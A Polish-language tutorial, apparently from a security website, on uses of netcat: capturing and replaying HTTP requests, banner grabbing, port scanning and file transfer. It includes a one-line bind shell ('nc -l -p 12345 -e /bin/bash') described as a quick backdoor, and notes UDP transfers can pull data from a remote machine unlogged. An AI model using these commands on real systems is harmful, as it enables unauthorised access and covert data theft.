- Menu g³ówne
- Newsy
- Forum
- Hackme 1.0
- Hackme 2.0
- Hackme 3.0
- Audiobooki
- Videoarty
- B³edy w PHP
- Linux
- Kurs PHP
- Kurs MySQL
- Kurs Smarty

- JavaScript
- ReverseCraft
- Assembler
- Delphi
- Pozostale
- Materia³y
- Artyku³y
- Security
- Linux
- Software
- Protoko³y
- Poka¿ wszystkie
..:: NetCat - szwajcarski scyzoryk ::..
Wszyscy wiemy, czym jest szwajcarscy scyzoryk - to rodzaj narzêdzie wielofunkcyjnego, które spe³nia funkcje kilkunastu innych narzêdzi, a zakres jego zastosowania ograniczony jest jedynie przez inwencje u¿ytkownika. W ten sam sposób mo¿naby opisaæ mo¿liwo¶ci programu netcat.
Na oficjalnej stronie projektu znajdziemy bardzo skromny opis zastosowania tego programu - "netcat to narzêdzie s³u¿ace do wysy³ania danych protoko³em tekstowym". Niby nic specjalnego... telnet robi przecie¿ dok³adnie to samo, wiêc co niezwyk³ego jest w netcat'cie?
Program jaki opisuje ma dwie podstawowe funkcje - mo¿e on dzia³aæ w trybie nadawania lub nas³uchiwania. Tryb nas³uchiwania jest niezwykle u¿yteczny w celach edukacyjnych, czyli gdy np. chcemy poznaæ zasade dzia³ania danego protoko³u.
Dla przyk³adu - za³ó¿my, ¿e nie wiemy, w jak naprawde wygl±da zapytanie HTTP wysy³ane przez przegl±darke. Jasne ¿e mo¿na przeczytaæ sobie RFC protoko³u HTTP, ale my jeste¶my leniwi, wiêc w konsoli piszemy przyk³adowo:
nc -l -p 80
-----------------------------------------------
Uwaga!
W systemach linux/unix, jedynie root mo¿e otwieraæ porty lokalne o numerach ni¿szych od 1024. Porty powy¿ej tego numeru mog± byæ bezproblemowo otwierane przez zwyk³ego u¿ytkownika.
-----------------------------------------------Nastêpnie uruchamiamy nasz± ulubion± przegl±darke WWW i wpisujemy adres http://localhost/ po niespe³na sekundzie w oknie konsoli zobaczymy co¶ na wzór kodu pokazanego poni¿ej.
GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; pl) Opera 8.5
Host: localhost:8080
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: pl,en;q=0.9
Accept-Charset: iso-8859-2, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Connection: Keep-Alive, TE
TE: deflate, gzip, chunked, identity, trailers
W równie ³atwy sposób mo¿emy prze¶ledziæ komunikacje innych protoko³ów i nie tylko. Naszego poczciwego netcata mo¿emy tak¿e u¿yæ do odtworzenia dowolnego zapytania. W tym celu zapisujemy powy¿sze zapytanie przegl±darki do pliku o nazwie np. "zapytanie.txt" i wydajemy polecenie:
nc www.onet.pl 80 < zapytanie.txt >wynik.txtPo wykonaniu polecenia w pliku wynik.txt bêdziemy mieæ zapisan± stronê onetu, wraz z doklejon± na pocz±tku odpowiedzi± serwera http. Jak ³atwo siê zorientowaæ, w pierwszych linijkach pliku podane s± ciekawe informacje na temat httpd jakim pos³uguje siê odpytywany serwer. Mo¿emy wiêc u¿yæ netcata wprost do odpytania hosta o wersje u¿ywanego serwera WWW. Za³ó¿my ¿e chcemy dowiedzieæ siê, na jakim oprogramowaniu stoi serwer hostuj±cy UW-Team.org, w tym celu wpisujemy w konsoli:
echo -e "HEAD / HTTP/1.1\r\n\r\n" | nc www.uw-team.org 80Naszym oczom uka¿e siê informacja w stylu:
HTTP/1.1 400 Bad RequestDate: Tue, 11 Apr 2006 22:32:59 GMT
Server: Apache/2.0.55 (Unix) PHP/5.1.2 mod_ssl/2.0.55 OpenSSL/0.9.8a
Content-Length: 347
Connection: close
Content-Type: text/html; charset=iso-8859-1
W ten oto prosty sposób u¿yli¶my netcata jako prostego "skanera serwerow WWW", naturalnie nic nie stoi na przeszkodzie, aby u¿yæ naszego "szwajcarskiego scyzoryka" jako skanera portów... w koñcu nie zawsze mamy nmapa pod rêk±, a czasami trzeba srawdziæ jakie porty otwarte ma zdalny host. W tym celu wydajemy np. polecenie:
nc -v -z 127.0.0.1 1-80W moim przypadku efekt skanowania portów od 1 do 80 da³ taki oto rezultat:
localhost [127.0.0.1] 80 (http) open
localhost [127.0.0.1] 37 (time) open
localhost [127.0.0.1] 22 (ssh) open
"Prawie jak nmap", ale w tym wypadku prawie robi wielk± ró¿nice :P Netcat niestety nawi±zuje pe³ne po³±czenie ze skanowanym hostem, wiêc taka zabawa na pewno zostanie odnotowana w logach (w przeciwieñstwie do np. opcji -sS nmapa, która przy domy¶lnych ustawieniach systemu jest niewykrywalna).
Hmmm... do czego by jeszcze mo¿na u¿yæ netcata... skanowaæ umiemy, nas³uchiwaæ umiemy... a gdyby tak podpi±æ jaki¶ program do portu? Mam tutaj na my¶li np. /bin/bash. Takie rozwi±zanie pozwoli nam na utworzenie prostego backdoora na dowolnym wybranym porcie. Wpiszmy np. polecenie:
nc -l -p 12345 -e /bin/bashLiczba 12345 oznacza w tym wypadku oczywi¶cie numer protu, natomiast /bin/bash to ¶cie¿ka do programu który zostanie "przypiêty do tego portu". Po takim zabiegu mo¿emy telnetowaæ siê na port 12345 i u¿ywaæ standardowych poleceñ linuxa. Niestety nie powita nas tam radosny znak zachêty konsoli, ale t± niewygodê mo¿emy przeboleæ... wkoñcu to tylko backdoor zrobiony w kilka sekund, nie spodziewajmy siê po nim wiele ;)
-----------------------------------------------
Uwaga:
Z mojego do¶wiadczenia wynika, ¿e niekiedy pow³oka podpiêta do portu nie chce wykonywaæ naszych poleceñ, informuj±c nas ka¿dorazowo, ¿e podane polecenie jest niepoprawne. Problem ten mo¿emy rozwi±zaæ, koñcz±c ka¿d± wpisywan± komendê znakiem ¶rednika, czyli "whoami;" zamiast "whoami". Mo¿e jest to troszeczke niewygodne, ale lepsze to ni¿ nic ;)
-----------------------------------------------Normalny cz³owiek zwykle nie zastawia backdorów, wiêc poka¿e wam nieco ciekawsze i bardziej u¿yteczne zastosowanie netcata. Programu tego, mo¿emy np. u¿yæ do transmisji plików. W tym celu na komputerze "ho¶cie" wydajemy polecenie:
nc -l -u -p 7777 </home/unknow/plik.txtNastêpnie przechodzimy na komputer "klienta", czyli ten na który chcemy ¶ci±gn±æ dane i wpisujemy proste do przewidzenia polecenie:
nc -u 123.123.123.123 >plik.txtW tym przyk³adzie /home/unknow/plik.txt to przesy³any plik, a 123.123.123.123 to fikcyjny numer IP komputera na którym udostêpnili¶my ten plik. Po po³±czeniu siê z hostem nie zapomnijcie wykonaæ dowolnej akcji na tym porcie, czyli np. wci¶nijcie enter. Dane zostan± przes³ane, jednak nie zobaczymy absolutnie ¿adnego komunikatu informuj±cego nas, ¿e proces przesy³ania zosta³ zakoñczony. Po prostu gdy uznamy ¿e dane s± ju¿ przes³ane (np. na podstawie wykresu obci±¿enia sieci w gkrellm) naciskamy CTRL+C na ho¶cie i kliencie. Ciekawostk± jest fakt, ¿e pliki przesy³ane s± przez protokó³ UDP, a nie TCP, a co za tym idzie, fakt po³±czenia nie jest odnotowywany w logach... mo¿na to wykorzystaæ do ¶ci±gniêcia danych z odleg³ej maszyny pozostaj±c niezauwa¿onym (tylko uwaga na historie wpisywanych poleceñ :P)
Mam nadziejê, ¿e uda³o mi siê skutecznie zademonstrowaæ zastosowania programu netcat. Jak dot±d by³ to program u¿ywany g³ównie przez adminów do automatyzacji swojej pracy, a kompletnie zapomniany przez zwyk³ych userów ze wzglêdu na rzekom± "nieu¿yteczno¶æ". My¶lê, ¿e po przeczytaniu tego tekstu niejeden czytelnik znajdzie nowe niecodzienne zastosowanie poczciwego netcata :P
Uwa¿asz, ¿e prezentowane przez nas informacje s± u¿yteczne? Pomó¿ nam je wypromowaæ!
- Subskrypcja
- Je¶li chcesz byæ powiadamiany o nowo¶ciach na stronie, wpisz tu swój e-mail




Shell status: 
